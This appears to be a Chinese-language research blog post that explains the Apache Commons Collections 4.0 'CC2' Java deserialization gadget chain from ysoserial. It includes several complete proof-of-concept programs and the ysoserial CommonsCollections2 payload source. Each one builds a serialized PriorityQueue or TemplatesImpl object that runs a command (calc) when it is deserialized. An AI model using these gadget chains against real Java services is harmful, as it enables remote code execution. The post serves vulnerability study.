ysoserial Commons Collections2反序列化研究
阅读原文时间:2021年10月13日阅读:1

Apache Commons Collections2反序列化研究

  • JDK 1.7

  • Commons Collections 4.0

  • javassit

    PriorityQueue()
    使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
    PriorityQueue(int initialCapacity)
    使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。

常见的方法:

add(E e)                       将指定的元素插入此优先级队列
clear()                        从此优先级队列中移除所有元素。
comparator()                   返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
contains(Object o)          如果此队列包含指定的元素,则返回 true。
iterator()                   返回在此队列中的元素上进行迭代的迭代器。
offer(E e)                   将指定的元素插入此优先级队列
peek()                       获取但不移除此队列的头;如果此队列为空,则返回 null。
poll()                       获取并移除此队列的头,如果此队列为空,则返回 null。
remove(Object o)               从此队列中移除指定元素的单个实例(如果存在)。
size()                       返回此 collection 中的元素数。
toArray()                      返回一个包含此队列所有元素的数组。

getDeclaredField是class超类的一个方法。该方法用来获取类中或接口中已经存在的一个字段,也就是成员变量。返回的是一个field对象

field 常用的方法

set 将指定对象参数上的此 Field对象表示的字段设置为指定的新值

TransformingComparator是一个修饰器,和CC1中的ChainedTransformer类似。

查看一下该类的compare方法,compare方法会去调用transformertransform方法,这不就是回到了cc1的反序列化链了嘛。

还是先看调用链

    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

可以看到后面3个链和cc1是一样的。那我们只分析前半段就好了。

首先来看PriorityQueue#readObject(),这里的queue[i]的值是由readObject得到的,也就是说在writeObject处写入了对应的内容:

也就是说我们可以通过反射来设置queue[i]的值来达到控制queue[i]内容的目的。

readobject中又调用了heapify方法,这里的queue[i]是我们可控的。heapify方法中又调用了siftDown方法,

siftdown中的的x是我们可控的,跟入第一个siftDownUsingComparator:

comparator.compare(x, (E) c) 这里的x是我们可控的

cc2的gadget中使用了TransformingComparator#compare来触发后续链,看一下这个方法,可以发现,这里对this.transformer调用了transform方法,如果这个this.transformer可控的话,就可以触发cc1中的后半段链。

package ysoserial.payloads;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class TestCC2 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class }, new Object[]{"calc"})});
        TransformingComparator comparator = new TransformingComparator(chain);
        PriorityQueue queue = new PriorityQueue(1);
        queue.add(1);
        queue.add(2);
        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");//反射获取PriorityQueue类的comparator字段
        field.setAccessible(true);
        field.set(queue,comparator);//queue的comparator字段值为comparator
        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
            outputStream.writeObject(queue);
            outputStream.close();
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

关于这儿要使用add添加2个值进去,目的是为了让其size>1,只有size>1才能使的i>0,才能进入siftDown这个方法中

而add方法中调用了offer方法

offer中又调用了siftup方法

这里需要保证comparator的值为null,才能够正常的添加元素进queue,如果我们在add之前使comparator为我们构造好的TransformingComparator,就会报这么一个错误:

回到CC2的gadget的TemplatesImpl类,在newTransformer方法中调用了getTransletInstance方法

getTransletInstance方法中重点的是圈起来的两行代码

首先先跟进第一行代码中的defineTransletClasses方法,这里通过loader.defineClass的方式将bytecodes还原为Class,

接着在外面又调用了_class[_transletIndex].newInstance方法实例化还原的Class,也就是说,我们可以通过TemplatesImpl#newTransformer方法来执行恶意类

import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.ClassLoader;
import java.lang.reflect.Field;
public class TestCC2 {
    public static void createPseson() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
// 创建 static 代码块,并插入代码
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 写入.class 文件
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name" + System.nanoTime());
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        templates.newTransformer();
    }
    public static void main(String[] args) {
        try {
            createPseson();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

最后我理解的gadget链

ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

yso中cc2的gadget链

package ysoserial.payloads;

import java.util.PriorityQueue;
import java.util.Queue;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */

@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
@Authors({ Authors.FROHOFF })
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {

    public Queue<Object> getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);
        // mock method name until armed
        final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        // switch method called by comparator
        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

        // switch contents of queue
        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = 1;

        return queue;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections2.class, args);
    }

}

其他大哥的poc

package ysoserial.payloads;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class TestCC2test {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime

        byte[] bytes=payload.toBytecode();//转换为byte数组

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
        PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
        queue.add(1);//添加数字1插入此优先级队列
        queue.add(1);//添加数字1插入此优先级队列

        Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
        field2.setAccessible(true);//暴力反射
        field2.set(queue,comparator);//设置queue的comparator字段值为comparator

        Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
        field3.setAccessible(true);//暴力反射
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}